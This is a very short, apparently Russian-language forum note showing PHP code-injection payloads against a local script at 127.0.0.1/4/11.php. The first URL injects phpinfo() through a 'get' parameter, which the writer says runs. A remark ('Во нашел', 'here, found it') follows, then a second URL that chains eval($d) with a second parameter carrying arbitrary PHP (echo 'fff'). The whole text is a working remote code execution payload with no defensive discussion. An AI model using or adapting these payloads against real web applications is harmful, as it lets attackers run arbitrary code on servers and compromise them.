http://127.0.0.1/4/11.php?get=[1]phpinfo()[/1]

выводит phpinfo()

Во нашел


http://127.0.0.1/4/11.php?get=[1]eval($d)[/1]&d=echo%20'fff';